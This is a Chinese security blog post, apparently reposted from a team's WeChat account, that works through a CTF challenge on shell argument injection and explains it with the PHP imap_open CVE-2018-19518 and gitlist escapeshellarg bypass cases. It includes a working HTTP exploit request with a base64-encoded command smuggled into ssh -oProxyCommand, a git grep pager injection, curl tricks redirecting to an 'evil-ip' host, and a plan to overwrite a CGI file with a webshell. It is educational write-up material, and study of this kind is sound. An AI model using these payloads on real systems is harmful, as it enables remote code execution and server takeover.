关于参数注入的思考

渗透技巧 6个月前 admin
186 0 0

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

[email protected](带上简历和想加入的小组)

起因是看到一个博主发的一个问题的思考

关于参数注入的思考

关于参数注入的思考


关于参数注入的思考

刚看到这个问题的时候,我也觉得这里应该是有命令注入,因为在bash脚本中如果直接出现 `id` 这种的字符串肯定是可以触发命令注入,我通过在Ubuntu18上测试发现确实会有命令注入

关于参数注入的思考

但是把这个题目环境搭建好以后 https://github.com/phith0n/code-breaking/tree/master/2020/bashinj

关于参数注入的思考

发现并不能触发命令注入,反引号被当成了一个普通的字符串,我思考了这个问题以后觉得问题应该是这样的:

    1. 反引号在bash脚本中被解析肯定是没有问题的,但是必须是已经写完整的形式直接出现在bash脚本中,像题目中是将可控字符串作为变量传参,所以在bash中解析的时候这里就只是一个函数赋值,并没有解析赋值的内容中是否有特殊字符串,可以看下面这个示例
root@ubuntu:/home/pluto# cat 1.sh
#!/bin/bash

name="abcd`"
a="${name}id>/tmp/1.txt`"
echo $a

root@ubuntu:/home/pluto# ./1.sh
abcd`id>/tmp/1.txt`

root@ubuntu:/home/pluto# cat /tmp/1.txt
cat/tmp/1.txt: No such file or directory
    1. 回归到前面那个curl的问题,参数再怎么拼接永远都是curl的参数,如果curl本身没有命令执行的功能也是达不到命令注入的效果的

关于参数注入的思考

解题

虽然这道题无法注入命令,但因为用户的输入在URL中没有双引号包裹,可以注入curl的一些参数,比如:

关于参数注入的思考

所以这里就可以用参数注入的方式达到RCE的目的,这里介绍两个比较典型的参数注入的例子

PHP IMAP 参数注入

php5.6.39修复了imap扩展里一处命令执行漏洞,CVE-2018-19158

这是一个典型的参数注入漏洞,imap_open会使用rsh来登录远程服务器。rsh是一个执行远程shell的方法,而在ssh出来以后大部分Linux发型版都将rsh替换成了ssh。

比如,在debian系Linux中,执行apt-get install ssh-client,安装ssh。安装成功后,执行rsh,即可发现,其实执行的就是ssh命令。

而ssh支持指定-oProxyCommand=参数,这个参数实际上可以在客户端执行任意命令。所以,最终表现就是,在debian系系统中,使用imap_open连接imap服务器,如果服务器地址被控制,将会导致命令执行漏洞。

这个漏洞条件较多,有:

  • debian系列系统,如debian、ubuntu
  • php 安装并使用了imap扩展(默认没有)
  • imap_open中服务器地址被控制

使用docker漏洞环境进行复现 https://github.com/vulhub/vulhub/tree/master/php/CVE-2018-19518

Internet 消息访问协议(IMAP) 是一种 Internet 标准协议,电子邮件客户端使用该协议通过 TCP/IP 连接从邮件服务器检索电子邮件消息。IMAP 是由 Mark Crispin 于 1986 年设计的一种远程邮箱协议,与广泛使用的 POP(一种用于检索邮箱内容的协议)形成鲜明对比。IMAP 的设计目标是允许多个电子邮件客户端完全管理电子邮件收件箱。IMAP 服务器通常侦听端口号 143。默认情况下,IMAP over SSL (IMAPS) 分配的端口号为 993。当然,PHP 具有对 IMAP 的开箱即用支持。为了使该协议的使用更加容易,PHP 提供了一系列函数。我们关注的是 IMAP_OPEN 函数

imap_open — Open an IMAP stream to a mailbox

Description ¶
imap_open(
    string $mailbox,
    string $user,
    string $password,
    int $flags = 0,
    int $retries = 0,
    array $options = []
): IMAPConnection|false
Opens an IMAP stream to a mailbox.

查看imap2007f库的源代码。处理连接的主要函数是 tcp_unix.c 文件中定义的tcp_aopen

347if (*service == '*') { /* 想要 ssh 吗?*/ 

348/* 如果 ssh 禁用则立即返回 */ 
349if (!(sshpath && (ti = sshtimeout))) return NIL; 
350/* ssh 命令原型定义了吗?*/ 
351if (!sshcommand) sshcommand = cpystr(“%s %s -l %s exec /etc/r%sd”); 
352: } 
353/* 想要 rsh 吗?*/ 
354else if (rshpath && (ti = rshtimeout)) { 
355/* rsh 命令原型定义了吗?*/ 
356if (!rshcommand) rshcommand = cpystr(“%s %s -l %s exec /etc/r%sd”); 
357:} 
358:否则返回NIL;/* rsh 禁用 */

该代码生成一个命令来在远程服务器上执行rimapd二进制文件。

测试1.php:

1<?php 
2: @imap_open('{localhost:143/imap}INBOX''''');

然后使用 strace 工具和execve系统调用过滤来观察脚本处理期间将执行哪些命令。

strace -f -e trace=clone,execve php test1.php

关于参数注入的思考

可以看到本地主机是执行命令的参数之一。这意味着我们可以在操作服务器地址参数的同时操作命令行。

而ssh支持指定-oProxyCommand=参数,这个参数实际上可以在客户端执行任意命令。

root@34de5432e78a:/var/www/html# ssh -oProxyCommand="echo hello|tee /tmp/1.txt" localhost
ssh_exchange_identification: Connection closed by remote host
root@34de5432e78a:/var/www/html# cat /tmp/1.txt 
hello

发送如下数据包即可成功执行命令echo '1234567890'>/tmp/test0001

POST / HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125

hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222

谈escapeshellarg绕过与参数注入漏洞

gitlist是一款使用PHP开发的图形化git仓库查看工具。在其0.6.0版本中,存在一处命令参数注入问题,可以导致远程命令执行漏洞。

在用户对仓库中代码进行搜索的时候,gitlist将调用git grep命令:

<?php
public function searchTree($query, $branch)
{
    if (empty($query)) {
        return null;
    }
    $query = escapeshellarg($query);
    try {
        $results = $this->getClient()->run($this"grep -i --line-number {$query} $branch");
    } catch (RuntimeException $e) {
        return false;
    }

其中,$query是搜索的关键字,$branch是搜索的分支。

如果用户输入的$query的值是--open-files-in-pager=id;,将可以执行id命令:

关于参数注入的思考

导致这个漏洞的原因,有几点:

  • 开发者对于escapeshellarg函数的误解,造成参数注入

  • git grep的参数–open-files-in-pager的值,将被直接执行

理论上,在经过query);处理后,$query将变成一个由单引号包裹的字符串。但不出漏洞的前提是,这个字符串应该出现在“参数值”的位置,而不是出现在参数选项(option)中。

本题

介绍一个网站,GTFOBins,这里面可以找到很多Linux下不同命令的tricks,就包含了一些可能执行命 令的参数等。

https://gtfobins.github.io/gtfobins/curl/,可以发现,curl中并没有可以直接执行命令的参数

可以利用curl进行文件写入或读取操作,我们可以考虑到一种利用方法,就是通过 -o 写入cgi文件进行getshell。

控制下载的内容

但是我们需要控制curl写入的文件内容,可以使用curl的 -x 参数,这个参数可以指定请求时使用的HTTP代理,我们通过代理来劫持httpbin的请求包,控制返回结果

使用python的mitmproxy库来实现一个代理服务器,

from mitmproxy import ctx
from mitmproxy.http import HTTPFlow, HTTPResponse
data = br'''
hello
'''

class Hook:
    def request(self, flow: HTTPFlow):
        flow.response = HTTPResponse.make(200, data, {'Content-Type':'text/plain'})
        ctx.log.info("Process a request %r" % flow.request.url)
addons = [
    Hook()
]


mitmdump -s demo.py --set block_global=false

如果请求的目标是https,我们的代理没有配置证书,可能会出现SSL错误,可以增加一个 -k 参数来解决这个问题。

还有一种方法是使用 --resolve 选项来控制DNS解析的结果:

curl http://httpbin.org/get?name=vulhub --resolve "httpbin.org:80:evil-ip"

这里指定了对httpbin.org:80的请求,会发送给evil-ip

也能很快的控制返回结果,而且会更加简单,只需要在evil-ip的80端口放上一个名为get的文件即可。

另一种方法,也可以使用 --dns 来控制DNS服务器

赋予可执行权限

如果下载一个文件直接存储是没有可执行权限的,这里的解决办法是用下载的文件去覆盖新的文件,这样就可以保存原文件的权限,但是我们不能改变原文件的正常业务逻辑,所以首先需要通过文件读取的方式读到原本的脚本内容。

直接利用file协议来读取:

http://your-ip:8080/index.cgi?name=vulhub%20file:///usr/local/apache2/htdocs/index.cgi

然后,拿到了index.cgi的文件内容,我们可以将自己的webshell加入其中

参考文献

https://www.leavesongs.com/PENETRATION/escapeshellarg-and-parameter-injection.html
https://t.zsxq.com/E6MNrRB

– END –


关于参数注入的思考

原文始发于微信公众号(ChaMd5安全团队):关于参数注入的思考

版权声明:admin 发表于 2023年10月19日 上午8:03。
转载请注明:关于参数注入的思考 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...